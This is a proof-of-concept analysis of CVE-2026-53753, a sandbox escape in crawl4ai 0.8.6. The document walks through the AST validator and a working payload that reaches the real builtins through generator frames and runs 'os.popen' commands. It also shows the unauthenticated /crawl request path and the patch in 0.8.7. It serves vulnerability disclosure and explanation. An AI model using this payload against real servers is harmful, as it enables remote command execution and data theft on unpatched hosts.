5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ANALYSIS.md MD
# Code-level analysis — CVE-2026-53753

A complete, line-by-line walkthrough: the vulnerable sink, the AST validator's
exact checks, every AST node in the payload (and why each one passes), the runtime
frame stack, the request data-flow, and the patch.

---

## 1. The vulnerable sink

`crawl4ai/extraction_strategy.py` (v0.8.6):

```python
_SAFE_EVAL_BUILTINS = {            # the only builtins the sandbox is supposed to expose
    "str": str, "int": int, ... "list": list, "dict": dict, ...
    "isinstance": isinstance, "type": type,
}                                  # note: no __import__, no eval, no open, no getattr

def _safe_eval_expression(expression: str, local_vars: dict):
    tree = ast.parse(expression, mode="eval")      # (A) parse attacker string to AST

    for node in ast.walk(tree):                     # (B) validate every node
        if isinstance(node, (ast.Import, ast.ImportFrom)):
            raise ValueError("Import statements are not allowed in expressions")
        if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
            raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
        if isinstance(node, ast.Call):
            func = node.func
            if isinstance(func, ast.Name) and func.id.startswith("_"):
                raise ValueError(f"Calling '{func.id}' is not allowed in expressions")
            if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
                raise ValueError(f"Calling '{func.attr}' is not allowed in expressions")

    safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}      # (C) restricted builtins
    return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
```

The model is **deny-list by name prefix**. It inspects exactly four things:

| Check | AST node type | Condition that rejects |
|-------|---------------|------------------------|
| import | `ast.Import` / `ast.ImportFrom` | always |
| attribute read | `ast.Attribute` | `.attr.startswith("_")` |
| call by name | `ast.Call` → `func` is `ast.Name` | `.id.startswith("_")` |
| call by attribute | `ast.Call` → `func` is `ast.Attribute` | `.attr.startswith("_")` |

Everything else — `ast.Subscript`, `ast.Lambda`, `ast.GeneratorExp`,
`ast.NamedExpr` (`:=`), `ast.Tuple`, `ast.Constant` — is **never examined**.
And the name check is *prefix-only*: any identifier not starting with `_` is fine,
regardless of how dangerous it is.

## 2. The payload as an AST

Payload (computed-field `expression`):

```python
(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('id').read()
                 for i in [1])), list(g))[-1])()
```

What `ast.walk` yields, and the validator's verdict for each:

| AST node | From source | Validator verdict |
|----------|-------------|-------------------|
| `ast.Call` (outer) | `(lambda: …)()` | `func` is `ast.Lambda`, not `Name`/`Attribute` → **not checked** → pass |
| `ast.Lambda` | `lambda: …` | no rule for `Lambda` → pass |
| `ast.Subscript` | `( … )[-1]` | no rule for `Subscript` → pass |
| `ast.Tuple` | `(A, list(g))` | no rule for `Tuple` → pass |
| `ast.NamedExpr` | `g := (…)` | no rule for `NamedExpr` → pass |
| `ast.GeneratorExp` | `(… for i in [1])` | no rule for `GeneratorExp` → pass |
| `ast.Call` | `list(g)` | `func` is `Name('list')`, `"list"` has no `_` prefix → pass |
| `ast.Attribute attr='gi_frame'` | `g.gi_frame` | no `_` prefix → pass |
| `ast.Attribute attr='f_back'` ×3 | `.f_back.f_back.f_back` | no `_` prefix → pass |
| `ast.Attribute attr='f_builtins'` | `.f_builtins` | no `_` prefix → pass |
| `ast.Subscript` | `['__import__']` | **subscript key never inspected** → pass (this is the dunder smuggle) |
| `ast.Call` | `(…)['__import__']('os')` | `func` is a `Subscript`, not `Name`/`Attribute` → not checked → pass |
| `ast.Attribute attr='popen'` | `.popen('id')` | no `_` prefix → pass |
| `ast.Call` | `.popen('id')` | `func` is `Attribute('popen')`, no `_` → pass |
| `ast.Attribute attr='read'` | `.read()` | no `_` prefix → pass |
| `ast.Constant` | `'id'`, `'os'`, `1`, `-1` | no rule → pass |

Not a single node trips a rule, so the validator returns and `eval()` runs the
expression.

## 3. Why we need a *running* generator (`f_back` mechanics)

A frame's `f_back` (the link to its caller) is only set **while that frame is
executing**. A generator object you merely *create* is suspended — its
`gi_frame.f_back` is `None`:

```python
g = (x for x in [1])
g.gi_frame.f_back        # -> None   (never started)
```

So the payload must (a) reference the generator from inside its own body, and
(b) actually drive it. Both are arranged here:

* **Self-reference** — `g := (... g.gi_frame ... for i in [1])`. The `:=` binds `g`
  before iteration begins; the generator body reads `g` as a free variable. The
  surrounding `lambda` matters: it creates a function scope, so `g` is a **closure
  cell** (`LOAD_DEREF`) the genexpr can resolve. At module/`eval` top level it would
  instead be a global lookup and fail. (And `:=` cannot live in a comprehension's
  *iterable*, which is why it sits in a tuple element: `(g := …, list(g))`.)
* **Driving it** — `list(g)` consumes the generator. `list` is in
  `_SAFE_EVAL_BUILTINS`, so it is allowed. *While* `list` is pulling the value,
  the generator frame is live and `g.gi_frame.f_back` is populated.

## 4. Runtime frame stack and the builtins swap

At the moment the generator body executes, the live stack (innermost first) is:

```
g (genexpr, RUNNING)      g.gi_frame                 builtins = _SAFE_EVAL_BUILTINS
  ^ .f_back
eval("<expression>")      sandbox frame              builtins = _SAFE_EVAL_BUILTINS
  ^ .f_back
<lambda> body             sandbox frame              builtins = _SAFE_EVAL_BUILTINS
  ^ .f_back
_safe_eval_expression()   normal function frame      builtins = <the REAL builtins module>
```

The key fact: `eval(code, {"__builtins__": _SAFE_EVAL_BUILTINS}, locals)` only
overrides builtins **for the eval'd code's own frames**. The *calling* frame
(`_safe_eval_expression` itself) keeps the interpreter's real `builtins`. So:

```
g.gi_frame.f_back.f_back.f_back.f_builtins   ==   <real builtins, has '__import__'>
```

`f_back × 3` is therefore the exact distance from the running genexpr to the first
frame outside the sandbox. From there, `['__import__']('os').popen(cmd).read()`
gives full command execution, and `.read()` returns stdout so the result travels
back out as the field value.

You can confirm the depth empirically:

```python
from crawl4ai.extraction_strategy import _safe_eval_expression as E
for d in range(1, 5):
    chain = "g.gi_frame" + ".f_back"*d + ".f_builtins"
    expr = f"(lambda: ((g := ({chain}.get('__import__') for i in [1])), list(g))[-1])()"
    print(d, E(expr, {}))      # __import__ first appears at depth 3
```

## 5. Request data-flow (how the schema reaches the sink)

```
POST /crawl  (auth: token_dep = lambda: None  because jwt_enabled = false)
  -> server.py: CrawlerRunConfig.load(crawl_request.crawler_config)
       deserializes {"type":"JsonCssExtractionStrategy","params":{"schema":{...}}}
  -> JsonCssExtractionStrategy.extract(url, html)
       finds base elements via schema["baseSelector"]   (needs ≥1 match, e.g. <div>)
  -> _extract_item(element, fields)
       for field in fields:
           if field["type"] == "computed":
               _compute_field(item, field)
  -> _compute_field(item, field)
       if "expression" in field:
           return _safe_eval_expression(field["expression"], item)   # <-- SINK
```

`raw://<html…>` lets the request carry its own HTML, so the base selector matches
without any outbound fetch. The computed field's value is placed into the
extraction result and serialized into the `/crawl` JSON response — that is the
in-band exfiltration channel for command output.

## 6. The fix (0.8.6 → 0.8.7)

`0.8.7` does not try to harden the AST validator — it removes the `eval` path
entirely:

```python
# 0.8.7  _compute_field
if "expression" in field:
    raise ValueError(
        "Computed field 'expression' is disabled for security "
        "(eval on untrusted input). Use 'function' key with a Python callable instead."
    )
```

`_safe_eval_expression` no longer exists in `0.8.7`. Sending the same payload to a
patched server returns the field's `default` (here `None`) and executes nothing —
which is the binary discriminator between **VULNERABLE (≤0.8.6)** and
**PATCHED (≥0.8.7)**.